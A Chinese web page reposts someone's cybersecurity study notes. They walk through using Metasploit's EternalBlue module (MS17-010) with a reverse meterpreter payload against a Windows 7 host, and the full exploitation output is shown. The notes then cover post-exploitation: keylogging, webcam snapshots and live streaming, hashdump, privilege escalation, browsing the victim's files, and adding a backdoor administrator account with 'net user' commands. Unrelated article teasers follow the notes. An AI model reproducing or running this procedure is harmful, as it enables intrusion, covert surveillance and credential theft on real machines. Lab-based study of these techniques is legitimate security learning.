網絡安全學習筆記1

1.了解kali及安裝

vmware安裝,用戶名密碼均為kali

2.metasploit是什么

3.metasploit攻擊windows系統

在kali中打來終端

數據msfconsole 進入metasploit的控制終端界面

msf的使用法則:

1.使用模塊

2.配置模塊必選項

3.運行模塊

三步操作、實現對主流漏洞的攻擊。

例子:msf6 > ?search ms17_010

Matching Modules                               
================                                   #  Name                                      Disclosure Date  Rank     Check  Description                                               -  ----                                      ---------------  ----     -----  -----------                                               0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption           1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution                                                              2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE DetectionInteract with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010                                              msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name           Current Setting  Required  Description----           ---------------  --------  -----------RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT          445              yes       The target port (TCP)SMBDomain                       no        (Optional) The Windows domainto use for authentication. Only affects Windows Server 2008R2, Windows 7, Windows Embedded Standard 7 target machines.SMBPass                         no        (Optional) The password for the specified usernameSMBUser                         no        (Optional) The username to authenticate asVERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2,Windows 7, Windows Embedded Standard 7 target machines.VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,Windows Embedded Standard 7 target machines.Payload options (windows/x64/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,thread, process, none)LHOST     192.168.65.128   yes       The listen address (an interface may be specified)LPORT     4444             yes       The listen portExploit target:Id  Name--  ----0   Automatic TargetView the full module info with the info, or info -d command.

使用show options 查看配置項,啟動requird標注為yes的為必填項

defaulting to windows/x64/meterpreter/reverse_tcp如果不是這個 可以手動配置

set payload?windows/x64/meterpreter/reverse_tcp

payload就是攻擊載荷。

LHOST ip地址? ? ?代表你是誰,配置為kali的ip地址

LPORT 為listentport? 代表你要在kali上開啟的端口。1-65535隨便找,不能是占用。

View the full module info with the info, or info -d command.msf6 exploit(windows/smb/ms17_010_eternalblue) > set  RHOSTS 192.168.50.52
RHOSTS => 192.168.50.52
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10001
lport => 10001
msf6 exploit(windows/smb/ms17_010_eternalblue) > run[*] Started reverse TCP handler on 192.168.50.53:10001 
[*] 192.168.50.52:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.50.52:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] 192.168.50.52:445     - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.50.52:445 - The target is vulnerable.
[*] 192.168.50.52:445 - Connecting to target for exploitation.
[+] 192.168.50.52:445 - Connection established for exploitation.
[+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.50.52:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.50.52:445 - 0x00000010  74 65 20 37 36 30 30                             te 7600         
[+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.52:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.52:445 - Starting non-paged pool grooming
[+] 192.168.50.52:445 - Sending SMBv2 buffers
[+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.52:445 - Sending final SMBv2 buffers.
[*] 192.168.50.52:445 - Sending last fragment of exploit packet!
[*] 192.168.50.52:445 - Receiving response from exploit packet
[+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.52:445 - Sending egg to corrupted connection.
[*] 192.168.50.52:445 - Triggering free of corrupted buffer.
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.50.52:445 - Connecting to target for exploitation.
[+] 192.168.50.52:445 - Connection established for exploitation.
[+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.50.52:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.50.52:445 - 0x00000010  74 65 20 37 36 30 30                             te 7600         
[+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.52:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.52:445 - Starting non-paged pool grooming
[+] 192.168.50.52:445 - Sending SMBv2 buffers
[+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.52:445 - Sending final SMBv2 buffers.
[*] 192.168.50.52:445 - Sending last fragment of exploit packet!
[*] 192.168.50.52:445 - Receiving response from exploit packet
[+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.52:445 - Sending egg to corrupted connection.
[*] 192.168.50.52:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.50.52
[*] Meterpreter session 1 opened (192.168.50.53:10001 -> 192.168.50.52:3071) at 2024-02-29 21:48:57 -0500
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

RHOSTS => 192.168.50.52

lport => 10001

run

最后

[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

WIN表示已經入侵成功。

help查看能夠使用的命令

meterpreter >  helpCore Commands
=============Command       Description-------       -----------?             Help menubackground    Backgrounds the current sessionbg            Alias for backgroundbgkill        Kills a background meterpreter scriptbglist        Lists running background scriptsbgrun         Executes a meterpreter script as a background threadchannel       Displays information or control active channelsclose         Closes a channeldetach        Detach the meterpreter session (for http/https)disable_unic  Disables encoding of unicode stringsode_encodingenable_unico  Enables encoding of unicode stringsde_encodingexit          Terminate the meterpreter sessionget_timeouts  Get the current session timeout valuesguid          Get the session GUIDhelp          Help menuinfo          Displays information about a Post moduleirb           Open an interactive Ruby shell on the current sessionload          Load one or more meterpreter extensionsmachine_id    Get the MSF ID of the machine attached to the sessionmigrate       Migrate the server to another processpivot         Manage pivot listenerspry           Open the Pry debugger on the current sessionquit          Terminate the meterpreter sessionread          Reads data from a channelresource      Run the commands stored in a filerun           Executes a meterpreter script or Post modulesecure        (Re)Negotiate TLV packet encryption on the sessionsessions      Quickly switch to another sessionset_timeouts  Set the current session timeout valuessleep         Force Meterpreter to go quiet, then re-establish sessionssl_verify    Modify the SSL certificate verification settingtransport     Manage the transport mechanismsuse           Deprecated alias for "load"uuid          Get the UUID for the current sessionwrite         Writes data to a channelStdapi: File system Commands
============================Command       Description-------       -----------cat           Read the contents of a file to the screencd            Change directorychecksum      Retrieve the checksum of a filecp            Copy source to destinationdel           Delete the specified filedir           List files (alias for ls)download      Download a file or directoryedit          Edit a filegetlwd        Print local working directorygetwd         Print working directorylcat          Read the contents of a local file to the screenlcd           Change local working directorylls           List local fileslmkdir        Create new directory on local machinelpwd          Print local working directoryls            List filesmkdir         Make directorymv            Move source to destinationpwd           Print working directoryrm            Delete the specified filermdir         Remove directorysearch        Search for filesshow_mount    List all mount points/logical drivesupload        Upload a file or directoryStdapi: Networking Commands
===========================Command       Description-------       -----------arp           Display the host ARP cachegetproxy      Display the current proxy configurationifconfig      Display interfacesipconfig      Display interfacesnetstat       Display the network connectionsportfwd       Forward a local port to a remote serviceresolve       Resolve a set of host names on the targetroute         View and modify the routing tableStdapi: System Commands
=======================Command       Description-------       -----------clearev       Clear the event logdrop_token    Relinquishes any active impersonation token.execute       Execute a commandgetenv        Get one or more environment variable valuesgetpid        Get the current process identifiergetprivs      Attempt to enable all privileges available to the currentprocessgetsid        Get the SID of the user that the server is running asgetuid        Get the user that the server is running askill          Terminate a processlocaltime     Displays the target system local date and timepgrep         Filter processes by namepkill         Terminate processes by nameps            List running processesreboot        Reboots the remote computerreg           Modify and interact with the remote registryrev2self      Calls RevertToSelf() on the remote machineshell         Drop into a system command shellshutdown      Shuts down the remote computersteal_token   Attempts to steal an impersonation token from the targetprocesssuspend       Suspends or resumes a list of processessysinfo       Gets information about the remote system, such as OSStdapi: User interface Commands
===============================Command       Description-------       -----------enumdesktops  List all accessible desktops and window stationsgetdesktop    Get the current meterpreter desktopidletime      Returns the number of seconds the remote user has been idlekeyboard_sen  Send keystrokesdkeyevent      Send key eventskeyscan_dump  Dump the keystroke bufferkeyscan_star  Start capturing keystrokestkeyscan_stop  Stop capturing keystrokesmouse         Send mouse eventsscreenshare   Watch the remote user desktop in real timescreenshot    Grab a screenshot of the interactive desktopsetdesktop    Change the meterpreters current desktopuictl         Control some of the user interface componentsStdapi: Webcam Commands
=======================Command       Description-------       -----------record_mic    Record audio from the default microphone for X secondswebcam_chat   Start a video chatwebcam_list   List webcamswebcam_snap   Take a snapshot from the specified webcamwebcam_strea  Play a video stream from the specified webcammStdapi: Audio Output Commands
=============================Command       Description-------       -----------play          play a waveform audio file (.wav) on the target systemPriv: Elevate Commands
======================Command       Description-------       -----------getsystem     Attempt to elevate your privilege to that of local system.Priv: Password database Commands
================================Command       Description-------       -----------hashdump      Dumps the contents of the SAM databasePriv: Timestomp Commands
========================Command       Description-------       -----------timestomp     Manipulate file MACE attributesmeterpreter > 

例如:

meterpreter > sysinfo

Computer ? ? ? ?: SJUN-PC
OS ? ? ? ? ? ? ?: Windows 7 (6.1 Build 7600).
Architecture ? ?: x64
System Language : zh_CN
Domain ? ? ? ? ?: WORKGROUP
Logged On Users : 1
Meterpreter ? ? : x64/windows
meterpreter >?

Core Commands
=============

Core Commands
=============Command       Description-------       -----------?             Help menubackground    Backgrounds the current sessionbg            Alias for backgroundbgkill        Kills a background meterpreter scriptbglist        Lists running background scriptsbgrun         Executes a meterpreter script as a background threadchannel       Displays information or control active channelsclose         Closes a channeldetach        Detach the meterpreter session (for http/https)disable_unic  Disables encoding of unicode stringsode_encodingenable_unico  Enables encoding of unicode stringsde_encodingexit          Terminate the meterpreter sessionget_timeouts  Get the current session timeout valuesguid          Get the session GUIDhelp          Help menuinfo          Displays information about a Post moduleirb           Open an interactive Ruby shell on the current sessionload          Load one or more meterpreter extensionsmachine_id    Get the MSF ID of the machine attached to the sessionmigrate       Migrate the server to another processpivot         Manage pivot listenerspry           Open the Pry debugger on the current sessionquit          Terminate the meterpreter sessionread          Reads data from a channelresource      Run the commands stored in a filerun           Executes a meterpreter script or Post modulesecure        (Re)Negotiate TLV packet encryption on the sessionsessions      Quickly switch to another sessionset_timeouts  Set the current session timeout valuessleep         Force Meterpreter to go quiet, then re-establish sessionssl_verify    Modify the SSL certificate verification settingtransport     Manage the transport mechanismsuse           Deprecated alias for "load"uuid          Get the UUID for the current sessionwrite         Writes data to a channel

Priv: Timestomp Commands
========================

? ? Command ? ? ? Description------- ? ? ? -----------timestomp ? ? Manipulate file MACE attributes

Priv: Password database Commands
================================

? ? Command ? ? ? Description------- ? ? ? -----------hashdump ? ? ?Dumps the contents of the SAM database

Priv: Elevate Commands
======================

? ?

 Command ? ? ? Description------- ? ? ? -----------getsystem ? ? Attempt to elevate your privilege to that of local system


? ? ? ? ? ? ? ? ? .


Stdapi: Audio Output Commands
=============================

? Command ? ? ? Description------- ? ? ? -----------play ? ? ? ? ?play a waveform audio file (.wav) on the target system


Stdapi: Webcam Commands
=======================

 ? Command ? ? ? Description------- ? ? ? -----------record_mic ? ?Record audio from the default microphone for X secondswebcam_chat ? Start a video chatwebcam_list ? List webcamswebcam_snap ? Take a snapshot from the specified webcamwebcam_strea ?Play a video stream from the specified webcamm

Stdapi: User interface Commands
===============================

? ? Command ? ? ? Description------- ? ? ? -----------enumdesktops ?List all accessible desktops and window stationsgetdesktop ? ?Get the current meterpreter desktopidletime ? ? ?Returns the number of seconds the remote user has been idlekeyboard_sen ?Send keystrokesdkeyevent ? ? ?Send key eventskeyscan_dump ?Dump the keystroke bufferkeyscan_star ?Start capturing keystrokestkeyscan_stop ?Stop capturing keystrokesmouse ? ? ? ? Send mouse eventsscreenshare ? Watch the remote user desktop in real timescreenshot ? ?Grab a screenshot of the interactive desktopsetdesktop ? ?Change the meterpreters current desktopuictl ? ? ? ? Control some of the user interface components

Stdapi: System Commands
=======================

? Command ? ? ? Description------- ? ? ? -----------clearev ? ? ? Clear the event logdrop_token ? ?Relinquishes any active impersonation token.execute ? ? ? Execute a commandgetenv ? ? ? ?Get one or more environment variable valuesgetpid ? ? ? ?Get the current process identifiergetprivs ? ? ?Attempt to enable all privileges available to the currentprocessgetsid ? ? ? ?Get the SID of the user that the server is running asgetuid ? ? ? ?Get the user that the server is running askill ? ? ? ? ?Terminate a processlocaltime ? ? Displays the target system local date and timepgrep ? ? ? ? Filter processes by namepkill ? ? ? ? Terminate processes by nameps ? ? ? ? ? ?List running processesreboot ? ? ? ?Reboots the remote computerreg ? ? ? ? ? Modify and interact with the remote registryrev2self ? ? ?Calls RevertToSelf() on the remote machineshell ? ? ? ? Drop into a system command shellshutdown ? ? ?Shuts down the remote computersteal_token ? Attempts to steal an impersonation token from the targetprocesssuspend ? ? ? Suspends or resumes a list of processessysinfo ? ? ? Gets information about the remote system, such as OS

Stdapi: Networking Commands
===========================

? ?

 Command ? ? ? Description------- ? ? ? -----------arp ? ? ? ? ? Display the host ARP cachegetproxy ? ? ?Display the current proxy configurationifconfig ? ? ?Display interfacesipconfig ? ? ?Display interfacesnetstat ? ? ? Display the network connectionsportfwd ? ? ? Forward a local port to a remote serviceresolve ? ? ? Resolve a set of host names on the targetroute ? ? ? ? View and modify the routing table

Stdapi: File system Commands
============================

? ?

 Command ? ? ? Description------- ? ? ? -----------cat ? ? ? ? ? Read the contents of a file to the screencd ? ? ? ? ? ?Change directorychecksum ? ? ?Retrieve the checksum of a filecp ? ? ? ? ? ?Copy source to destinationdel ? ? ? ? ? Delete the specified filedir ? ? ? ? ? List files (alias for ls)download ? ? ?Download a file or directoryedit ? ? ? ? ?Edit a filegetlwd ? ? ? ?Print local working directorygetwd ? ? ? ? Print working directorylcat ? ? ? ? ?Read the contents of a local file to the screenlcd ? ? ? ? ? Change local working directorylls ? ? ? ? ? List local fileslmkdir ? ? ? ?Create new directory on local machinelpwd ? ? ? ? ?Print local working directoryls ? ? ? ? ? ?List filesmkdir ? ? ? ? Make directorymv ? ? ? ? ? ?Move source to destinationpwd ? ? ? ? ? Print working directoryrm ? ? ? ? ? ?Delete the specified filermdir ? ? ? ? Remove directorysearch ? ? ? ?Search for filesshow_mount ? ?List all mount points/logical drivesupload ? ? ? ?Upload a file or directory
用戶操作:Stdapi: User interface Commands(用戶接口命令)enumdesktops    -->列出所有可訪問的桌面和窗口站(窗體列表)
getdesktop      -->得到當前的Meterpreter桌面idletime        -->返回秒遠程用戶已經閑置數量keyscan_dump    -->轉儲按鍵緩沖(下載鍵盤記錄)
keyscan_start   -->開始捕獲擊鍵(開始鍵盤記錄)
keyscan_stop    -->停止捕獲擊鍵(停止鍵盤記錄)
screenshot      -->抓取交互式桌面截圖(當前操作界面截圖一張)
setdesktop      -->改變meterpreters當前桌面uictl           -->控制一些用戶界面組件(獲取鍵盤、鼠標控制權)
使用uictl -h 查看幫助(打開/關閉,鍵盤/鼠標)PS:鍵盤記錄注意點,先開始,后下載,再結束,否則會出錯攝像頭:Stdapi: Webcam Commands(攝像頭命令)record_mic       -->X秒從默認的麥克風record_mic音頻記錄(音頻錄制)webcam_chat      -->開始視頻聊天(視頻,對方會有彈窗)webcam_list      -->單攝像頭(查看攝像頭列表)
webcam_snap      -->采取快照從指定的攝像頭(攝像頭拍攝一張照片)webcam_stream    -->播放視頻流從指定的攝像頭(開啟攝像頭監控)其他命令操作getsystem        -->獲取高權限hashdump         -->獲取當前用戶hash

例子:創建后門用戶并開啟遠程連接

shell

net user zhangsan? 123456 /add

net localgroup administrators zhangsan /add

在攻陷的機器上添加用戶zhangsan密碼為123456 并且把張三的用戶加入到管理員組。

exit退出

screenshot? 來進行截圖屏幕

meterpreter > webcam_snap??

->采取快照從指定的攝像頭(攝像頭拍攝一張照片)

[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/kali/Desktop/rJfZoIoR.jpeg

meterpreter > webcam_stream? ?

 -->播放視頻流從指定的攝像頭(開啟攝像頭監控)

[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/kali/Desktop/wViPebHU.html
[*] Streaming...
^CInterrupt
[-] webcam_stream: Interrupted
meterpreter > Interrupt: use the 'exit' command to quit

查看文件meterpreter > dir d:/
Listing: d:/

============Mode ? ? ? ? ? ? ?Size ? Type ?Last modified ? ? ? ? ? ? ?Name
---- ? ? ? ? ? ? ?---- ? ---- ?------------- ? ? ? ? ? ? ?----
040777/rwxrwxrwx ?0 ? ? ?dir ? 2023-05-18 23:55:43 -0400 ?$QAXHoneypot
040777/rwxrwxrwx ?0 ? ? ?dir ? 2022-07-26 03:39:58 -0400 ?$RECYCLE.BIN
040777/rwxrwxrwx ?0 ? ? ?dir ? 2023-05-16 04:32:30 -0400 ?Program Files
040777/rwxrwxrwx ?4096 ? dir ? 2023-12-21 20:19:47 -0500 ?Program Files (x86)
040777/rwxrwxrwx ?0 ? ? ?dir ? 2023-05-18 23:12:52 -0400 ?QAXDownload
040777/rwxrwxrwx ?0 ? ? ?dir ? 2018-03-22 23:27:06 -0400 ?System Volume Information
100666/rw-rw-rw- ?14141 ?fil ? 2020-08-05 03:14:06 -0400 ?ZB-SAN-SW-24.xlsx
100666/rw-rw-rw- ?18077 ?fil ? 2021-06-14 02:09:44 -0400 ?ZB-交換機端口映射.xlsx
040777/rwxrwxrwx ?12288 ?dir ? 2023-05-18 23:54:46 -0400 ?tools工具
040777/rwxrwxrwx ?4096 ? dir ? 2020-04-29 02:55:45 -0400 ?個人文件
100666/rw-rw-rw- ?15818 ?fil ? 2021-12-23 01:39:22 -0500 ?容災IP地址分配.xlsx
040777/rwxrwxrwx ?4096 ? dir ? 2023-05-18 23:55:02 -0400 ?封存項目
040777/rwxrwxrwx ?4096 ? dir ? 2023-05-18 23:56:14 -0400 ?工作區域

meterpreter > cat c:/1.txt? 查看文件內容
123
meterpreter >?

meterpreter > mkdir d:\ly 創建目錄
Creating directory: d:ly
?

2.文件系統命令
cat c:\boot.ini#查看文件內容,文件必須存在
del c:\boot.ini #刪除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上傳文件到目標機主上,如upload  setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/   # 下載文件到本機上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini  # 編輯文件
getlwd#打印本地目錄
getwd#打印工作目錄
lcd#更改本地目錄
ls#列出在當前目錄中的文件列表
lpwd#打印本地目錄
pwd#輸出工作目錄
cd c:\\ #進入目錄文件下
rm file #刪除文件
mkdir dier #在受害者系統上的創建目錄
rmdir#受害者系統上刪除目錄
dir#列出目標主機的文件和文件夾信息
mv#修改目標主機上的文件名
search -d d:\\www -f web.config #search 文件,如search  -d c:\\  -f*.doc
meterpreter > search -f autoexec.bat  #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops     #用戶登錄數1)下載文件
使用命令“download +file path”,將下載目標機器的相對應權限的任何路徑下的文件
(2)上傳文件
“upload”命令為上傳文件到我們的目標機器,在圖中我們上傳了ll.txt到目標機器的c:\pp\下。
(3)查看文件
“cat filename”在當前目錄下查看文件內容,輸入命令后便會返回給我們所查看文件的內容。
(4)切換、查詢當前路徑
“pwd”命令將查詢當前在dos命令下的路徑,“cd”命令可以改變當前路徑,如下圖中cd ..為切換到當前路徑下的上一目錄。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/714315.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/714315.shtml
英文地址,請注明出處:http://en.pswp.cn/news/714315.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

邏輯回歸與交叉熵--九五小龐

什么是邏輯回歸 線性回歸預測的是一個連續值,邏輯回歸給出的“是”和“否”的回答 Singmoid sigmoid函數是一個概率分布函數,給定某個輸入,它將輸出為一個概率值 邏輯回歸損失函數 平方差所懲罰的是與損失為同一數量級的情形&#xff0…

8、Redis-Jedis、Lettuce和一個Demo

目錄 一、Jedis 二、Lettuce 三、一個Demo Java集成Redis主要有3個方案:Jedis、Lettuce和Redisson。 其中,Jedis、Lettuce側重于單例Redis,而Redisson側重于分布式服務。 項目資源在文末 一、Jedis 1、創建SpringBoot項目 2、引入依賴 …

電商小程序10分類管理

目錄 1 分類數據源2 搭建功能3 創建變量讀取數據4 綁定數據總結 本篇我們介紹一下電商小程序的分類管理功能的開發,先看我們的原型圖: 在首頁我們是展示了四個分類的內容,采用上邊是圖標,下邊是文字的形式。使用低代碼開發&#…

【系統分析師】-需求工程

一、需求工程 需求工程分為需求開發和需求管理。 需求開發:需求獲取,需求分析,需求定義、需求驗證。 需求管理:變更控制、版本控制、需求跟蹤,需求狀態跟蹤。(對需求基線的管理) 1.1需求獲取…

MySQL:合并查詢語句

1、查詢表的數據 t_book表數據 SELECT * FROM db_book.t_book; t_booktype表數據 SELECT * FROM db_book.t_booktype; 提醒: 下面的查詢操作的數據來自上圖查詢表的數據 2. 使用 UNION 查詢結果合并,會去掉重復的數據 使用UNION關鍵字是,數…

社區店經營口號大揭秘:如何吸引更多顧客?

社區店的經營口號是吸引顧客的重要工具,一個好的口號能夠在短時間內傳達店鋪的特色和價值,并引起顧客的興趣。 作為一名開鮮奶吧5年的創業者,我將分享一些關于社區店經營口號的干貨,幫助你吸引更多的顧客。 1、突出獨特賣點&…

群控代理IP搭建教程:打造一流的網絡爬蟲

目錄 前言 一、什么是群控代理IP? 二、搭建群控代理IP的步驟 1. 獲取代理IP資源 2. 配置代理IP池 3. 選擇代理IP策略 4. 編寫代理IP設置代碼 5. 異常處理 三、總結 前言 群控代理IP是一種常用于網絡爬蟲的技術,通過使用多個代理IP實現并發請求…

優思學院|3步驟計算出Cpk|學習Minitab

在生產和質量管理中,準確了解和控制產品特性至關重要。一個關鍵的工具是Cpk值,它是衡量生產過程能力的重要指標。假設我們有一個產品特性的規格是5.080.02,通過收集和分析過程數據,我們可以計算出Cpk值,進而了解生產過…

CentOS 定時調度

文章目錄 一、場景說明二、腳本職責三、參數說明四、操作示例五、注意事項 一、場景說明 本自動化腳本旨在為提高研發、測試、運維快速部署應用環境而編寫。 腳本遵循拿來即用的原則快速完成 CentOS 系統各應用環境部署工作。 統一研發、測試、生產環境的部署模式、部署結構、…

Java中靈活使用Mockito

目錄 Java中靈活使用Mockito引言Mockito簡介基本用法實例演示使用場景和案例解決方案結語 Java中靈活使用Mockito 引言 Mockito是Java中常用的mock框架之一,用于進行單元測試時模擬對象的行為。本文將介紹Mockito的基本用法,并探討如何在實際項目中靈活…

AP8P059 PIR 人體感應太陽能 LED 燈控制芯片

概述 AP8P059 是一款集成低壓 LDO、光控、充電控制、過充保護、欠壓保護、PIR感應、延時為一體的人體感應太陽能 LED燈控制芯片,只需要很少的外接元件,適用于鋰電池供電的PIR人體感應LED燈具的應用。外置的一級帶通增益放大器便于客戶調整感應靈敏度&am…

QT MinGW64編譯vlc源碼

編譯環境搭建 參考文章《QT Mingw32/64編譯ffmpeg源碼生成32/64bit庫以及測試》,搭建msys64環境; 運行msys.exe,運行: pacman -S git subversion cvs automake autoconf libtool m4 make gettext pkg-config mingw-w64-i686-lua findutils …

docker配置數據默認存儲路徑graph已過時,新版本中是data-root

錯誤信息 我在修改/etc/docker/daemon.json文件中,添加存儲路徑graph字段。然后sudo systemctl restart docker包如下錯誤:使用journalctl -xeu docker.service錯誤信息,發現不能匹配graph字段。 原因 我的docker版本: 在doc…

mybatisplus整合flowable-ui-modeler報錯

1、問題 Description:file [/Users/xingyuwei/Documents/project/java/springboot_01/target/classes/com/xingyu/mapper/TemplateMapper.class] required a single bean, but 2 were found:- sqlSessionFactory: defined by method sqlSessionFactory in class path resource…

TypeScript08:在TS中使用模塊化

前言:tsconfig.json中的配置 一、前端領域中的模塊化標準 前端領域中的模塊化標準有: ES6、commonjs、amd、umd、system、esnext 二、 TS中如何書寫模塊化語句 TS 中,導入和導出模塊,統一使用 ES6 的模塊化標準。 myModule.ts &a…

Keil新版本安裝編譯器ARMCompiler 5.06

0x00 緣起 我手頭的項目在使用最新版本的編譯器后,燒錄后無法正常運行,故安裝5.06,測試后發現程序運行正常,以下為編譯器的安裝步驟。 0x01 解決方法 1. 下載編譯器安裝文件,可以去ARM官網下載,也可以使用我…

藍橋杯練習系統(算法訓練)ALGO-993 RP大冒險

資源限制 內存限制:64.0MB C/C時間限制:200ms Java時間限制:600ms Python時間限制:1.0s 問題描述 請盡情使用各種各樣的函數來測試你的RP吧~~~ 輸入格式 一個數N表示測點編號。 輸出格式 一個0~9的數。 樣例輸入 0 樣…

【airtest】自動化入門教程(三)Poco操作

目錄 一、準備工作 1、創建一個pthon腳本 2、光標位置 2、選擇Android 3、選擇yes 二、定位元素 三、poco基于設備/屏幕 方式 1、poco.click( (x,y))基于屏幕點擊相對坐標為x,y的位置 2、poco.get_screen_size() 3、poco.swipe(v1,v2)基于屏幕從v1位置滑到…

02.剛性事務

剛性事務 1.DTP模型 X/Open組織介紹 X/OPEN是一個組織(現在的open group)X/Open國際聯盟有限公司是一個歐洲基金會,它的建立是為了向UNIX環境提供標準。它主要的目標是促進對UNIX語言、接口、網絡和應用的開放式系統協議的制定。它還促進在…

初識C語言—常見關鍵字

變量的命名最好有意義 名字必須是字母&#xff0c;數字&#xff0c;下劃線組成&#xff0c;不能有特殊字符&#xff0c;同時不能以數字開頭 變量名不能是關鍵字 typedef---類型定義&#xff0c;類型重命名 #include <stdio.h>typedef unsigned int uint; //將unsigne…